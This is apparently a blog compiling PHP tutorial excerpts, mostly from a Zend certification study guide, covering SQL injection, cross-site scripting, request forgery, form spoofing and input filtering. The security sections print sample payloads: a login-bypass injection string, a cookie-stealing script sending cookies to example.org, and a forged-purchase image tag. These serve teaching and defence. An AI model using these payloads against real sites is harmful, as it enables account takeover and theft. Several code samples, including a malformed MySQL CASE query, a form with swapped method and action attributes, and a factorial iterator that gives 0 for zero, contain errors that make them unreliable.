Database Security

0 comments
When using a database and accepting input to create part of a database query, it is easy to fall victim to an SQL injection attack. SQL injection occurs when a malicious user experiments on a formto gain information about a database. After gaining sufficient knowledge—usually from database error messages—the attacker is equipped to exploit the form for any possible vulnerabilities by injecting SQL into form fields. A popular example is a simple user login form:

<form method="login.php" action="POST">
Username: <input type="text" name="username" /><br />
Password: <input type="password" name="password" /><br />
<input type="submit" value="Log In" />
</form>

The vulnerable code used to process this login formmight look like the following:

$username = $_POST[’username’];
$password = md5($_POST[’password’]);
$sql = "SELECT *
FROM users
WHERE username = ’{$username}’ AND
password = ’{$password}’";
/* database connection and query code */
if (count($results) > 0)
{
// Successful login attempt
}

In this example, note how there is no code to filter the $_POST input. Instead the raw input is stored directly to the $username variable. This raw input is then used in the SQL statement—nothing is escaped. An attacker might attempt to log in using a username similar to the following:

username’ OR 1 = 1 --

With this username and a blank password, the SQL statement is now:

SELECT *
FROM users
WHERE username = ’username’ OR 1 = 1 --’ AND
password = ’d41d8cd98f00b204e9800998ecf8427e’

Since 1 = 1 is always true and - begins an SQL comment, the SQL query ignores everything after the - and successfully returns all user records. This is enough to log in the attacker. Furthermore, if the attacker knows a username, he can provide that username in this attack in an attempt to impersonate the user by gaining that user’s access credentials.
SQL injection attacks are possible due to a lack of filtering and escaping. Properly filtering input and escaping the output for SQL will eliminate the risk of attack. To escape output for an SQL query, use the driver-specific *_escape_string() function for your database. If possible, use bound parameters. For more information on bound parameters, see the Escape Output section earlier in this chapter or the Database Programming chapter.

SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE

Security: Shared Hosting

0 comments
There are a variety of security issues that arise when using shared hosting solutions. In the past, PHP has tried to solve some of this issues with the safe_mode directive. However, as the PHP manual states, it “is architecturally incorrect to try to solve this problem at the PHP level.” Thus, safe_mode will no longer be available as of PHP 6. Still, there are three php.ini directives that remain important in a shared hosting environment: open_basedir, disable_functions, and disable_classes. These directives do not depend upon safe_mode, and they will remain available for the foreseeable future.
The open_basedir directive provides the ability to limit the files that PHP can open to a specified directory tree. When PHP tries to open a file with, for example, fopen() or include, it checks the the location of the file. If it exists within the directory tree specified by open_basedir, then it will succeed; otherwise, it will fail to open the file. You may set the open_basedir directive in php.ini or on a per-virtual-host basis in httpd.conf. In the following httpd.conf virtual host example, PHP scripts may only open files located in the /home/user/www and /usr/local/lib/php directories (the latter is often the location of the PEAR library):
<VirtualHost *>
DocumentRoot /home/user/www
ServerName www.example.org
<Directory /home/user/www>
php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/"
</Directory>
</VirtualHost>
The disable_functions and disable_classes directives work similarly, allowing you to disable certain native PHP functions and classes for security reasons. Any functions or classes listed in these directives will not be available to PHP applications running on the system. You may only set these in php.ini. The following example illustrates the use of these directives to disable specific functions and classes:
; Disable functions
disable_functions = exec,passthru,shell_exec,system
; Disable classes
disable_classes = DirectoryIterator,Directory
SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE

Website Security (Cross-Site Scripting)

0 comments
Cross-site scripting (XSS) is one of the most common and best known kinds of attacks. The simplicity of this attack and the number of vulnerable applications in existence make it very attractive tomalicious users. An XSS attack exploits the user’s trust in the application and is usually an effort to steal user information, such as cookies and other personally identifiable data. All applications that display input are at risk.
Consider the following form, for example. This form might exist on any of a number of popular community websites that exist today, and it allows a user to add a comment to another user’s profile. After submitting a comment, the page displays all of the comments that were previously submitted, so that everyone can view all of the comments left on the user’s profile.

<form method="POST" action="process.php">
<p>Add a comment:</p>
<p><textarea name="comment"></textarea></p>
<p><input type="submit" /></p>
</form>

Imagine that a malicious user submits a comment on someone’s profile that contains
the following content:

<script>
document.location = ’’http://example.org/getcookies.php?cookies=’’
+ document.cookie;
</script>

Now, everyone visiting this user’s profile will be redirected to the given URL and their cookies (including any personally identifiable information and login information) will be appended to the query string. The attacker can easily access the cookies with $_GET[’cookies’] and store them for later use. This attack works only if the application fails to escape output. Thus, it is easy to prevent this kind of attack with proper output escaping.
SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE

Website Security (Cross-Site Request Forgeries)

0 comments
A cross-site request forgery (CSRF) is an attack that attempts to cause a victim to unknowingly send arbitraryHTTP requests, usually to URLs requiring privileged access and using the existing session of the victim to determine access. The HTTP request then causes the victimto execute a particular action based on his or her level of privilege, such asmaking a purchase or modifying or removing information.
Whereas an XSS attack exploits the user’s trust in an application, a forged request exploits an application’s trust in a user, since the request appears to be legitimate and it is difficult for the application to determine whether the user intended for it to take place. While proper escaping of output will prevent your application from being used as the vehicle for a CSRF attack, itwill not prevent your application from receiving forged requests. Thus, your application needs the ability to determine whether the request was intentional and legitimate or possibly forged and malicious.
Before examining the means to protect against forged requests, it may be helpful to understand how such an attack occurs. Consider the following example.
Suppose you have a Web site in which users register for an account and then browse a catalogue of books for purchase. Again, suppose that a malicious user signs up for an account and proceeds through the process of purchasing a book from the site. Along the way, she might learn the following through casual observation:
• She must log in to make a purchase.
• After selecting a book for purchase, she clicks the buy button, which redirects her through checkout.php.
• She sees that the action to checkout.php is a POST action but wonders whether passing parameters to checkout.php through the query string (GET) will work.
• When passing the same form values through the query string (i.e. checkout.php?isbn=0312863551&qty=1), she notices that she has, in fact, successfully purchased a book.
With this knowledge, themalicious user can cause others to make purchases at your site without their knowledge. The easiest way to do this is to use an image tag to embed an image in some arbitraryWeb site other than your own (although, at times, your own site may be used for such an attack). In the following code, the src of the img tag makes a request when the page loads.

<img src="http://example.org/checkout.php?isbn=0312863551&qty=1" />

Even though this img tag is embedded on a different Web site, it still continues to make the request to the book catalogue site. For most people, the request will fail because users must be logged in to make a purchase, but, for those users who do happen to be logged into the site (through a cookie or active session), this attack exploits the Web site’s trust in that user and causes them to make a purchase. The solution for this particular type of attack, however, is simple: force the use of POST over GET. This attack works because checkout.php uses the $_REQUEST superglobal array to access isbn and qty. Using $_POST will mitigate the risk of this kind of attack, but it won’t protect against all forged requests.
Other, more sophisticated attacks can make POST requests just as easily as GET, but a simple token method can block these attempts and force users to use your forms. The token method involves the use of a randomly generated token that is stored in the user’s session when the user accesses the form page and is also placed in a hidden field on the form. The processing script checks the token value from the posted form against the value in the user’s session. If it matches, then the request is valid. If not, then it is suspect and the script should not process the input and, instead, should display an error to the user. The following snippet from the aforementioned formillustrates the use of the token method:

<?php
session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION[’token’] = $token;
?>
<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<!-- Remainder of form -->
</form>

The processing script that handles this form (checkout.php) can then check for the token:

if (isset($_SESSION[’token’])
&& isset($_POST[’token’])
&& $_POST[’token’] == $_SESSION[’token’])
{
// Token is valid, continue processing form data
}

SOURCE:ZEND PHP5 CERTIFICATION STUDY GUIDE

IN MYSQL HOW TO COUNT NON-EMPTY CELLS IN ONE ROW

1 comments
Suppose we want to count the non empty cells in table 'your_table_name' .
The columns that we want to select for non empty criterion are 'column1', 'column2', 'column3'.
Here is the query for the same.

SELECT id,col1+col2+col3 AS COUNT
FROM
(
SELECT id, /*now onwards are columns that we want to select*/
CASE column1 WHEN column1<>'' THEN '1' ELSE '0' END AS col1,
CASE column2 WHEN column2<>'' THEN '1' ELSE '0' END AS col2,
CASE column3 WHEN column3<>'' THEN '1' ELSE '0' END AS col3,
FROM your_table_name GROUP BY id
)
AS subtable;

This query will return the recordset having two columns named as id and COUNT in which COUNT will contain the no. of non empty cells for respective id.

Website Security (Spoofed Forms)

0 comments

Website security refers to the security of the elements of a website through which an attacker can interface with your application. These vulnerable points of entry include forms and URLs, which are the most likely and easiest candidates for a potential attack. Thus, it is important to focus on these elements and learn how to protect against the improper use of your forms and URLs. In short, proper input filtering and output escaping will mitigate most of these risks.
A common method used by attackers is a spoofed form submission. There are various ways to spoof forms, the easiest of which is to simply copy a target form and execute it from a different location. Spoofing a formmakes it possible for an attacker to remove all client-side restrictions imposed upon the form in order to submit any and all manner of data to your application. Consider the following form:

<form method="POST" action="process.php">
<p>Street: <input type="text" name="street" maxlength="100" /></p>
<p>City: <input type="text" name="city" maxlength="50" /></p>
<p>State:
<select name="state">
<option value="">Pick a state...</option>
<option value="AL">Alabama</option>
<option value="AK">Alaska</option>
<option value="AR">Arizona</option>
<!-- options continue for all 50 states -->
</select></p>
<p>Zip: <input type="text" name="zip" maxlength="5" /></p>
<p><input type="submit" /></p>
</form>

This form uses the maxlength attribute to restrict the length of content entered into the fields. There may also be some JavaScript validation that tests these restrictions before submitting the form to process.php. In addition, the select field contains a set list of values, as defined by the form. It’s a common mistake to assume that these are the only values that the form can submit. However, as mentioned earlier, it is possible to reproduce this form at another location and submit it by modifying the action to use an absolute URL. Consider the following version of the same form:
<form method="POST" action="http://example.org/process.php">
<p>Street: <input type="text" name="street" /></p>
<p>City: <input type="text" name="city" /></p>
<p>State: <input type="text" name="state" /></p>
<p>Zip: <input type="text" name="zip" /></p>
<p><input type="submit" /></p>
</form>

In this version of the form, all client-side restrictions have been removed, and the usermay enter any data, which will then be sent to http://example.org/process.php, the original processing script for the form.
As you can see, spoofing a formsubmission is very easy to do—and it is also virtually impossible to protect against. You may have noticed, though, that it is possible to check the REFERER header within the $_SERVER superglobal array. While this may provide some protection against an attacker who simply copies the form and runs it from another location, even a moderately crafty hacker will be able to easily circumvent it. Suffice to say that, since the Referer header is sent by the client, it is easy to manipulate, and its expected value is always apparent: process.php will expect the referring URL to be that of the original formpage.
Despite the fact that spoofed form submissions are hard to prevent, it is not necessary to deny data submitted from sources other than your forms. It is necessary, however, to ensure that all input plays by your rules. Do not merely rely upon clientside validation techniques. Instead, this reiterates the importance of filtering all input. Filtering input ensures that all data must conformto a list of acceptable values, and even spoofed forms will not be able to get around your server-side filtering rules.


source:ZEND PHP5 CERTIFICATION STUDY GUIDE

Security: Register Globals

0 comments

When set to On, the register_globals configuration directive automatically injects variables into scripts. That is, all variables from the query string, posted forms, session store, cookies, and so on are available in what appear to be locally-named variables. Thus, if variables are not initialized before use, it is possible for a malicious user to set script variables and compromise an application.
Consider the following code used in an environment where register_globals is set to On. The $loggedin variable is not initialized, so a user for whom checkLogin() would fail can easily set $loggedin by passing loggedin=1 through the query string. In this way, anyone can gain access to a restricted portion of the site. To mitigate this risk, simply set $loggedin = FALSE at the top of the script or turn off register_globals, which is the preferred approach. While setting register_globals to Off is the preferred approached, it is a best practice to always initialize variables.

if (checkLogin())
{
$loggedin = TRUE;
}
if ($loggedin)
{
// do stuff only for logged in users
}

Note that a by-product of having register_globals turned on is that it is impossible to determine the origin of input. In the previous example, a user could set $loggedin from the query string, a posted form, or a cookie. Nothing restricts the scope in which the user can set it, and nothing identifies the scope from which it comes. A best practice for maintainable and manageable code is to use the appropriate superglobal array for the location from which you expect the data to originate—$_GET, $_POST, or $_COOKIE. This accomplishes two things: first of all, you will know the origin of the data; in addition, users are forced to play by your rules when sending data to your application.

Before PHP 4.2.0, the register_globals configuration directive was set to On by
default. Since then, this directive has been set to Off by default; as of PHP 6, it will no longer exist.


source:ZEND PHP5 CERTIFICATION STUDY GUIDE

Security in PHP Applications.

0 comments
All Input Is Tainted

The most important concept in any transaction is that of trust. Do you trust the data being processed? Can you? This answer is easy if you know the origin of the data.In short, if the data originates from a foreign source such as user form input, the query string, or even an RSS feed, it cannot be trusted. It is tainted data.
Data from these sources—and many others—is tainted because it is not certain whether it contains characters that might be executed in the wrong context. For example, a query string value might contain data that was manipulated by a user to contain Javascript that, when echoed to a Web browser, could have harmful consequences.
As a general rule of thumb, the data in all of PHP’s superglobals arrays should be considered tainted. This is because either all or some of the data provided in the superglobal arrays comes from an external source. Even the $_SERVER array is not fully safe, because it contains some data provided by the client. The one exception to this rule is the $_SESSION superglobal array, which is persisted on the server and never over the Internet.
Before processing tainted data, it is important to filter it. Once the data is filtered,then it is considered safe to use. There are two approaches to filtering data: the whitelist approach and the blacklist approach.


Whitelist vs. Blacklist Filtering
Two common approaches to filtering input are whitelist and blacklist filtering. The blacklist approach is the less restrictive form of filtering that assumes the programmer knows everything that should not be allowed to pass through. For example, some forums filter profanity using a blacklist approach. That is, there is a specific set of words that are considered inappropriate for that forum; these words are filtered out. However, any word that is not in that list is allowed. Thus, it is necessary to add new words to the list from time to time, as moderators see fit. This example may not directly correlate to specific problems faced by programmers attempting tomitigate attacks, but there is an inherent problem in blacklist filtering that is evident here: blacklists must be modified continually, and expanded as new attack vectors become apparent.
On the other hand, whitelist filtering is much more restrictive, yet it affords the programmer the ability to accept only the input he expects to receive. Instead of identifying data that is unacceptable, a whitelist identifies only the data that is acceptable. This is information you already have when developing an application; it may change in the future, but you maintain control over the parameters that change and are not left to the whims of would-be attackers. Since you control the data that you accept, attackers are unable to pass any data other than what your whitelist allows. For this reason, whitelists afford stronger protection against attacks than blacklists.


Filter Input
Since all input is tainted and cannot be trusted, it is necessary to filter your input to ensure that input received is input expected. To do this, use a whitelist approach, as described earlier. As an example, consider the following HTML form:

<form method="POST">
Username: <input type="text" name="username" /><br />
Password: <input type="text" name="password" /><br />
Favourite colour:
<select name="colour">
<option>Red</option>
<option>Blue</option>
<option>Yellow</option>
<option>Green</option>
</select><br />
<input type="submit" />
</form>

This form contains three input elements: username, password, and colour. For this example, username should contain only alphabetic characters, password should contain only alphanumeric characters, and colour should contain any of “Red,” “Blue,” “Yellow,” or “Green.” It is possible to implement some client-side validation code using JavaScript to enforce these rules, but, as described later in the section on spoofed forms, it is not always possible to force users to use only your form and, thus, your client-side rules. Therefore, server-side filtering is important for security, while client-side validation is important for usability.

To filter the input received with this form, start by initializing a blank array. It is important to use a name that sets this array apart as containing only filtered data; this example uses the name $clean. Later in your code, when encountering the variable $clean[’username’], you can be certain that this value has been filtered. If, however, you see $_POST[’username’] used, you cannot be certain that the data is trustworthy. Thus, discard the variable and use the one from the $clean array instead. The following code example shows one way to filter the input for this form:


$clean = array();
if (ctype_alpha($_POST[’username’]))
{
$clean[’username’] = $_POST[’username’];
}
if (ctype_alnum($_POST[’password’]))
{
$clean[’password’] = $_POST[’password’];
}
$colours = array(’Red’, ’Blue’, ’Yellow’, ’Green’);
if (in_array($_POST[’colour’], $colours))
{
$clean[’colour’] = $_POST[’colour’];
}


Filtering with a whitelist approach places the control firmly in your hands and ensures that your application will not receive bad data. If, for example, someone tries to pass a username or colour that is not allowed to the processing script, the worst than can happen is that the $clean array will not contain a value for username or colour. If username is required, then simply display an error message to the user and ask them to provide correct data. You should force the user to provide correct information rather than trying to clean and sanitize it on your own. If you attempt to sanitize the data, you may end up with bad data, and you’ll run into the same problems that result with the use of blacklists.


Escape Output
Output is anything that leaves your application, bound for a client. The client, in this case, is anything from aWeb browser to a database server, and just as you should filter all incoming data, you should escape all outbound data. Whereas filtering input protects your application from bad or harmful data, escaping output protects the client and user from potentially damaging commands.
Escaping output should not be regarded as part of the filtering process, however. These two steps, while equally important, serve distinct and different purposes. Filtering ensures the validity of data coming into the application; escaping protects you and your users from potentially harmful attacks. Output must be escaped because clients—Web browsers, database servers, and so on—often take action when encountering special characters. For Web browsers, these special characters form HTML tags; for database servers, they may include quotation marks and SQL keywords. Therefore, it is necessary to know the intended destination of output and to escape accordingly.
Escaping output intended for a database will not suffice when sending that same output to a Web browser—data must be escaped according to its destination. Since most PHP applications deal primarily with the Web and databases, this section will focus on escaping output for these mediums, but you should always be aware of the destination of your output and any special characters or commands that destination may accept and act upon—and be ready escape those characters or commands accordingly.
To escape output intended for a Web browser, PHP provides htmlspecialchars() and htmlentities(), the latter being the most exhaustive and, therefore, recommended function for escaping. The following code example illustrates the use of htmlentities() to prepare output before sending it to the browser. Another concept illustrated is the use of an array specifically designed to store output. If you prepare output by escaping it and storing it to a specific array, you can then use the latter’s contents without having to worry about whether the output has been escaped.
If you encounter a variable in your script that is being outputted and is not part of this array, then it should be regarded suspiciously. This practice will help make your code easier to read and maintain. For this example, assume that the value for $user_message comes from a database result set.

$html = array();
$html[’message’] = htmlentities($user_message, ENT_QUOTES, ’UTF-8’);
echo $html[’message’];

Escape output intended for a database server, such as in an SQL statement, with the database-driver-specific *_escape_string() function; when possible, use prepared statements. Since PHP 5.1 includes PHP Data Objects (PDO), you may use prepared statements for all database engines for which there is a PDO driver. If the database engine does not natively support prepared statements, then PDO emulates this feature transparently for you.
The use of prepared statements allows you to specify placeholders in an SQL statement. This statement can then be used multiple times throughout an application, substituting new values for the placeholders, each time. The database engine (or PDO, if emulating prepared statements) performs the hard work of actually escaping the values for use in the statement. The Database Programming chapter contains more information on prepared statements, but the following code provides a simple example for binding parameters to a prepared statement.

// First, filter the input
$clean = array();
if (ctype_alpha($_POST[’username’]))
{
$clean[’username’] = $_POST[’username’];
}
// Set a named placeholder in the SQL statement for username
$sql = ’SELECT * FROM users WHERE username = :username’;
// Assume the database handler exists; prepare the statement
$stmt = $dbh->prepare($sql);
// Bind a value to the parameter
$stmt->bindParam(’:username’, $clean[’username’]);
// Execute and fetch results
$stmt->execute();
$results = $stmt->fetchAll();


source:ZEND PHP5 CERTIFICATION STUDY GUIDE

The Standard PHP Library

0 comments
Along with the reflection API, the Standard PHP Library (SPL) is one of the most complex parts of the language. It is designed to solve standard problems easily, and, although it's quite hard to get your head around at first, learning SPL is key to true mastery of PHP.

To go into massive amounts of depth on SPL would probably be a book in itself, so what I'm going to do is pick out three example uses of SPL and run you through how they work and how they might be useful. Before I start, you need to know that most of the effort of understanding SPL comes down to understanding the concept of iterators. An iterator is a highly specialised object that processes elements in an array of similar items. By "array" I really mean "collection": don't think of iterators as needing to work on PHP arrays.

First I'm going to show you a very easy little iterator that automates the task of looping through files and directories. It's called DirectoryIterator, and you create it simply by passing in the directory you want to work with. Here's an example:

$files = new DirectoryIterator("c:");
foreach($files as $file) {
print $file->getFilename() . "\n";
}

Those four lines of code are enough to print out all the files and directories in the C: drive of a Windows computer. If you're running Unix, change it to "/etc" or something else.

What actually happens here is that the foreach loop calls into the DirectoryIterator looking for the next file entry in the directory. This gets returned in the form of an object, upon which we call getFilename(), which is just one of several functions available to us. There's also isExecutable(), isReadable(), fileSize(), getPath(), and more - their actions are self-explanatory thanks to the naming convention!

So, what we have here is a task that would have otherwise required a bit of thinking and a bit of custom coding essentially being reduced to one line: $files = new DirectoryIterator("c:"). After that it's just a loop to pull out each individual filename - how much easier could it get?

Moving on, SPL allows us to make our objects act like arrays in certain situations. To do this, we need to implement the ArrayAccess interface and its four functions: offsetSet(), offsetGet(), offsetExists(), and offsetUnset(). Of those, the first one takes two parameters (the name of the key and its value), and the other three take just one (the name of the key).

Here's a simple example to let you see how this array/object overloading works:

class objarray implements ArrayAccess {
function offsetExists($offset) {
echo "offsetExists called!\n";
return true;
}

function offsetGet($offset) {
echo "offsetGet called!\n";
}

function offsetSet($offset, $value) {
echo "offsetSet called!\n";
}

function offsetUnset($offset) {
echo "offsetUnset called!\n";
}
}

$myarr = new objarray();

$myarr[5] = "foo";
echo $myarr[5];

if (isset($myarr[5])) {
unset($myarr[5]);
}
?>

Here's what that script outputs:

offsetSet called!
offsetGet called!
offsetExists called!
offsetUnset called!

Author's Note: The "implements ArrayAccess" is absolutely required in order to make your object work as an array. Without this - even if your class implements all the functions required - it would still not work. This is because PHP doesn't allow for accidents; it checks specifically for the ArrayAccess interface being implemented, and there's no way around it. This is a common theme in the SPL.

As you can see, as we set, get, check, and unset our $myarr objarray object, the relevant functions are called automatically. So, what can we do with this that's actually helpful? This is where things get complicated. Not from a coding perspective, mind you: you've just seen how easy it is. However, working out ways to use this technology is no easy task!

One possibility is to create an object that loads and saves files. For example:

$foo = file_get_contents("myfile.txt");
echo $foo;

Using a special object that implements ArrayAccess we could rewrite that like this:

echo $files["myfile.txt"];

Let's take a look at the code necessary to create this wonderful class...

class filearray implements ArrayAccess {
function offsetExists($offset) {
return file_exists($offset);
}

function offsetGet($offset) {
return file_get_contents($offset);
}

function offsetSet($offset, $value) {
return file_put_contents($offset, $value);
}

function offsetUnset($offset) {
return unlink($offset);
}
}

As you can see, that's the same as before except rather than just printing out messages we actually take some action. We can now use this class like this:

$myarr = new filearray();

$myarr["somefile.txt"] = "This is a test.";
echo $myarr["somefile.txt"];

$myarr["otherfile.txt"] = $myarr["somefile.txt"];

if (isset($myarr["somefile.txt"])) {
unset($myarr["somefile.txt"]);
}

In that code we create the object, write some text to somefile.txt and print it out again, copy somefile.txt to otherfile.txt, and finally check whether somefile.txt exists and, if it does, delete it.

Of that script, only the checking whether it exists and deleting it are longer than the standard code: the rest of it is remarkably easy to read (especially copying the file) and thus an improvement.

We can make even those last two lines worthwhile by making our functions a little smarter. Right now, they just go ahead and do the requested action, but if you really want to make them worthwhile you might want to add appropriate calls to is_readable() and is_writeable() so that it doesn't generate a stream of errors.

Of course, treating files likes arrays is pretty weird, but there are many other things you could do - maybe the array needs to get serialised and sent to a server each time it's written? Maybe you want to store the array as an array, but also simultaneously write it to disk in case your application crashes?

Now, onto the last example I want to give: the generic iterator. Remember that iterators are used to work will groups of similar data, and in my limited experience (iterators were only introduced in PHP 5) they are most commonly used in foreach loops. A class that implements Iterator needs the following functions: rewind() (reset to the beginning of the collection), key() and current() (get the current key in the collection and its value), next() (move to the next item in the collection), and valid() (returns whether there are more values to be read in the collection).

With that in mind, what can we create to show off iterators? This is another one that seems simple on the surface but is less so when you think about it! So, I came up with the quirky idea of using an iterator object to count up factorials of numbers - something we've looked at twice already, so I hope you're familiar with the process! What I wanted to be able to write was this:

$myfactor = new factor(6);

foreach($myfactor as $key => $val) {
echo "$key = $val\n";
}

That could would then count up from 0 to 6, printing out the factorials of each number along the way. As you can see, the userland code (that is, the bit outside of the Iterator we're about to create) is again very simple, which is the mark of code done well. Anyway, here's the code to make the iterator:

class factor implements Iterator {
private $currpos = 0;
private $max;

private function dofactor($val) {
if ($val <= 1) return 1;
return $val * $this->dofactor($val - 1);
}

public function key() {
return $this->currpos;
}

public function current() {
if ($this->currpos == 0) return 0;
return $this->dofactor($this->currpos);
}

public function next() {
++$this->currpos;
}

public function rewind() {
$this->currpos = 0;
}

public function valid() {
if ($this->currpos <= $this->max) {
return true;
} else {
return false;
}
}

public function __construct($maxval) {
$this->max = $maxval;
}
}

First, note that the class needs to implement Iterator in order to inherit the magic Iterator functionality. Without this, the class simply will not work as expected. I also put in two private variables: the current number we're working on, and also the highest number to count to (provided in the constructor).

The dofactor() recursive function has been done previously, and simply calls itself again and again to calculate the factorial of a number. Factorials were covered in the Functions chapter and in the Java chapter - see there for more information.

The key() function just returns the value of $currpos, whereas the current() function grabs the factorial for the current value. This allows us to print a neat table of factorials out.

As you probably expected, next() just increments $currpos and rewind() just sets $currpos to 0. The valid() function checks the current position against the max provided by the user when they created the object, and, if there are still factorials to be calculated, returns true. When valid() returns true, a foreach() loop will read from it again. Reading only stops when false is returned by valid().

Finally there's the __construct() constructor, which takes the maximum factorial to calculate as its only parameter, then stores that in $max for later use by valid().

We can now run the original script back, to get output like this:

0 = 0
1 = 1
2 = 2
3 = 6
4 = 24
5 = 120
6 = 720

Changing the 6 to 16 we get this instead:

0 = 0
1 = 1
2 = 2
3 = 6
4 = 24
5 = 120
6 = 720
7 = 5040
8 = 40320
9 = 362880
10 = 3628800
11 = 39916800
12 = 479001600
13 = 6227020800
14 = 87178291200
15 = 1307674368000
16 = 20922789888000

Apart from that one number, the code is identical: it's fast, it's very easy, and it's a great little hack to calculate ascending factorials.

Hopefully these three examples should have shown you that SPL opens up a whole new world of solution-oriented programming with PHP. While OOP enables you to re-use chunks of code, SPL enables you to re-use generic ideas and repurpose them as you see fit in individual projects.

But, as I said at the beginning of the chapter, we've only space to scratch the surface here: there's much more to SPL, and if you've made it this far without being utterly boggled, I recommend you check out the full PHP documentation to learn more.

Source:IpbWiki

Zend PHP 5 Certification Syllabus

0 comments
PHP Basics

* Syntax
* Operators
* Variables
* Constants
* Control Structures
* Language Constructs and Functions

Functions

* Syntax
* Arguments
* Variables
* References
* Returns
* Variable Scope

Arrays

* Enumerated Arrays
* Associative Arrays
* Array Iteration
* Multi-Dimensional Arrays
* Array Functions
* SPL

Object Oriented Programming

* Instantiation
* Modifiers/Inheritance
* Interfaces
* Exceptions
* Static Methods & Properties
* Autoload
* Reflection
* Type Hinting
* Class Constants

Security

* Configuration
* Session Security
* Cross-Site Scripting
* Cross-Site Request Forgeries
* SQL Injection
* Remote Code Injection
* Email Injection
* Filter Input
* Escape Output

XML and Web Services

* XML Basics
* SimpleXML
* XML Extension
* Xpath
* Webservices Basics
* SOAP
* REST

Strings and Patterns

* Quoting
* Matching
* Extracting
* Searching
* Replacing
* Formatting
* PCRE

Databases and SQL

* SQL
* Joins
* Analyzing Queries
* Prepared Statements
* Transactions

Web Features

* Sessions
* Forms
* GET and POST data
* Cookies
* HTTP Headers

Streams and Network Programming

* Files
* Reading
* Writing
* File System Functions
* Streams

PHP 4/5 Differences

* Object Orientation
* E_STRICT
* References vs. Object Handles

Design and Theory

* IDesign Patterns
* Code Reuse
* OOP Theory

source:zend.com

Date and Time Functions

0 comments
Introduction
These functions allow you to get the date and time from the server where your PHP scripts are running. You can use these functions to format the date and time in many different ways.
Note: Please keep in mind that these functions are dependent on the locale settings of your server. Make sure to take daylight saving time (use e.g. $date = strtotime('+7 days', $date) and not $date += 7*24*60*60) and leap years into consideration when working with these functions.
Requirements
No external libraries are needed to build this extension.

Predefined Constants
The following constants are defined since PHP 5.1.1 and they offer standard date representations, which can be used along with the date format functions (like date()).


DATE_ATOM (string)
Atom (example: 2005-08-15T15:52:01+00:00)

DATE_COOKIE (string)
HTTP Cookies (example: Monday, 15-Aug-05 15:52:01 UTC)

DATE_ISO8601 (string)
ISO-8601 (example: 2005-08-15T15:52:01+0000)

DATE_RFC822 (string)
RFC 822 (example: Mon, 15 Aug 05 15:52:01 +0000)

DATE_RFC850 (string)
RFC 850 (example: Monday, 15-Aug-05 15:52:01 UTC)

DATE_RFC1036 (string)
RFC 1036 (example: Mon, 15 Aug 05 15:52:01 +0000)

DATE_RFC1123 (string)
RFC 1123 (example: Mon, 15 Aug 2005 15:52:01 +0000)

DATE_RFC2822 (string)
RFC 2822 (Mon, 15 Aug 2005 15:52:01 +0000)

DATE_RFC3339 (string)
Same as DATE_ATOM (since PHP 5.1.3)

DATE_RSS (string)
RSS (Mon, 15 Aug 2005 15:52:01 +0000)

DATE_W3C (string)
World Wide Web Consortium (example: 2005-08-15T15:52:01+00:00)

Following constants exists since PHP 5.1.2 and specify a format returned by functions date_sunrise() and date_sunset().


SUNFUNCS_RET_TIMESTAMP (integer)
Timestamp

SUNFUNCS_RET_STRING (integer)
Hours:minutes (example: 08:02)

SUNFUNCS_RET_DOUBLE (integer)
Hours as floating point number (example 8.75)

checkdate -- Validate a Gregorian date
date_create -- Returns new DateTime object
date_date_set -- Sets the date
date_default_timezone_get -- Gets the default timezone used by all date/time functions in a script
date_default_timezone_set -- Sets the default timezone used by all date/time functions in a script
date_format -- Returns date formatted according to given format
date_isodate_set -- Sets the ISO date
date_modify -- Alters the timestamp
date_offset_get -- Returns the daylight saving time offset
date_parse -- Returns associative array with detailed info about given date
date_sun_info -- Returns an array with information about sunset/sunrise and twilight begin/end
date_sunrise -- Returns time of sunrise for a given day and location
date_sunset -- Returns time of sunset for a given day and location
date_time_set -- Sets the time
date_timezone_get -- Return time zone relative to given DateTime
date_timezone_set -- Sets the time zone for the DateTime object
date -- Format a local time/date
getdate -- Get date/time information
gettimeofday -- Get current time
gmdate -- Format a GMT/UTC date/time
gmmktime -- Get Unix timestamp for a GMT date
gmstrftime -- Format a GMT/UTC time/date according to locale settings
idate -- Format a local time/date as integer
localtime -- Get the local time
microtime -- Return current Unix timestamp with microseconds
mktime -- Get Unix timestamp for a date
strftime -- Format a local time/date according to locale settings
strptime -- Parse a time/date generated with strftime()
strtotime -- Parse about any English textual datetime description into a Unix timestamp
time -- Return current Unix timestamp
timezone_abbreviations_list -- Returns associative array containing dst, offset and the timezone name
timezone_identifiers_list -- Returns numerically index array with all timezone identifiers
timezone_name_from_abbr -- Returns the timezone name from abbrevation
timezone_name_get -- Returns the name of the timezone
timezone_offset_get -- Returns the timezone offset from GMT
timezone_open -- Returns new DateTimeZone object
timezone_transitions_get -- Returns all transitions for the timezone
0 comments
What is the difference between CHAR and VARCHAR data types?

CHAR is a fixed length data type. CHAR(n) will take n characters of storage even if you enter less than n characters to that column. For example, "Hello!" will be stored as "Hello! " in CHAR(10) column.
VARCHAR is a variable length data type. VARCHAR(n) will take only the required storage for the actual number of characters entered to that column. For example, "Hello!" will be stored as "Hello!" in VARCHAR(10) column.

How can we encrypt and decrypt a data present in a mysql table using mysql?

AES_ENCRYPT() and AES_DECRYPT() .


Will comparison of string "10" and integer 11 work in PHP?

Yes, internally PHP will cast everything to the integer type, so numbers 10 and 11 will be compared.


What is the functionality of MD5 function in PHP?

string md5(string)
It calculates the MD5 hash of a string. The hash is a 32-character hexadecimal number.

How can I load data from a text file into a table?

The MySQL provides a LOAD DATA INFILE command. You can load data from a file. Great tool but you need to make sure that:a) Data must be delimited
b) Data fields must match table columns correctly
How can we know the number of days between two given dates using MySQL?

Use DATEDIFF()

SELECT DATEDIFF(NOW(),'2006-07-01');

How can we change the name of a column of a table?

This will change the name of column:
ALTER TABLE table_name CHANGE old_colm_name new_colm_name

How can we change the data type of a column of a table?

This will change the data type of a column:
ALTER TABLE table_name CHANGE colm_name same_colm_name [new data type]

What is the difference between GROUP BY and ORDER BY in SQL?

To sort a result, use an ORDER BY clause.
The most general way to satisfy a GROUP BY clause is to scan the whole table and create a new temporary table where all rows from each group are consecutive, and then use this temporary table to discover groups and apply aggregate functions (if any).
ORDER BY [col1],[col2],...[coln]; Tells DBMS according to what columns it should sort the result. If two rows will hawe the same value in col1 it will try to sort them according to col2 and so on.
